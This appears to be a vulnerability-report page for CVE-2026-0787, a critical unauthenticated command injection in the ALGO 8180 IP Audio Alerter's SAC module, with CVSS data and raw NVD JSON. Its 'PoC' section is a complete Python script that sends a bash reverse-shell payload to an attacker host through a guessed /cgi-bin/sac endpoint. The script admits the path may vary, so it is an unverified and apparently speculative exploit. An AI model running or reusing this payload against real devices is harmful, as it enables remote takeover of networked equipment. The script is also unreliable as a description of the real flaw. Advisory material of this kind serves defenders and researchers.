Security Vulnerability Report
中文
CVE-2026-0787 CVSS 9.8 CRITICAL

CVE-2026-0787

Published: 2026-01-23 04:16:06
Last Modified: 2026-02-18 19:04:13

Description

ALGO 8180 IP Audio Alerter SAC Command Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of ALGO 8180 IP Audio Alerter devices. Authentication is not required to exploit this vulnerability. The specific flaw exists within the SAC module. The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of the device. Was ZDI-CAN-28296.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:algosolutions:8180_ip_audio_alerter_firmware:5.5:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:algosolutions:8180_ip_audio_alerter:-:*:*:*:*:*:*:* - NOT VULNERABLE
ALGO 8180 IP Audio Alerter(所有未修复版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2026-0787 PoC - ALGO 8180 IP Audio Alerter SAC Command Injection Note: This is for educational and authorized testing purposes only. """ import requests import sys import argparse def exploit_sac_command_injection(target_ip, target_port=8080, attacker_ip="ATTACKER_IP", attacker_port=4444): """ Exploit the SAC module command injection vulnerability in ALGO 8180 devices. Args: target_ip: IP address of the vulnerable ALGO 8180 device target_port: Web interface port (default: 8080) attacker_ip: Attacker controlled IP for reverse shell attacker_port: Attacker listening port for reverse shell """ # Construct the malicious payload for command injection # The vulnerability exists in the SAC module's handling of user-supplied input # Injecting a reverse shell connection back to attacker payload = f";bash -i >& /dev/tcp/{attacker_ip}/{attacker_port} 0>&1;" # Target endpoint for SAC module (specific path may vary) endpoint = f"http://{target_ip}:{target_port}/cgi-bin/sac" # Construct the malicious request # The SAC module processes this input without proper validation params = { 'command': 'alert', # Legitimate command type 'station': payload # Injected malicious payload } print(f"[*] Targeting ALGO 8180 at {target_ip}:{target_port}") print(f"[*] Attempting command injection via SAC module") print(f"[*] Payload: {payload}") try: # Send the malicious request response = requests.post(endpoint, data=params, timeout=10) print(f"[+] Request sent - Check for reverse shell connection") print(f"[*] Response status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False return True def main(): parser = argparse.ArgumentParser(description='CVE-2026-0787 PoC') parser.add_argument('target', help='Target IP address') parser.add_argument('-p', '--port', default=8080, type=int, help='Target port') parser.add_argument('-l', '--lhost', required=True, help='Attacker IP for reverse shell') parser.add_argument('--lport', default=4444, type=int, help='Attacker port') args = parser.parse_args() exploit_sac_command_injection(args.target, args.port, args.lhost, args.lport) if __name__ == '__main__': main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-0787", "sourceIdentifier": "[email protected]", "published": "2026-01-23T04:16:06.317", "lastModified": "2026-02-18T19:04:13.407", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ALGO 8180 IP Audio Alerter SAC Command Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of ALGO 8180 IP Audio Alerter devices. Authentication is not required to exploit this vulnerability.\n\nThe specific flaw exists within the SAC module. The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of the device. Was ZDI-CAN-28296."}, {"lang": "es", "value": "Vulnerabilidad de inyección de comandos y ejecución remota de código en el módulo SAC de ALGO 8180 IP Audio Alerter. Esta vulnerabilidad permite a atacantes remotos ejecutar código arbitrario en instalaciones afectadas de dispositivos ALGO 8180 IP Audio Alerter. No se requiere autenticación para explotar esta vulnerabilidad.\n\nLa falla específica reside en el módulo SAC. El problema se debe a la falta de validación adecuada de una cadena proporcionada por el usuario antes de utilizarla para ejecutar una llamada al sistema. Un atacante puede aprovechar esta vulnerabilidad para ejecutar código en el contexto del dispositivo. Fue ZDI-CAN-28296."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}], "cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:algosolutions:8180_ip_audio_alerter_firmware:5.5:*:*:*:*:*:*:*", "matchCriteriaId": "853BF5C9-122B-4F47-9CE7-DA3E307130ED"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:algosolutions:8180_ip_audio_alerter:-:*:*:*:*:*:*:*", "matchCriteriaId": "3A20E73F-D499-4973-ADDE-8B702E6F5254"}]}]}], "references": [{"url": "https://www.zerodayinitiative.com/advisories/ZDI-26-009/", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}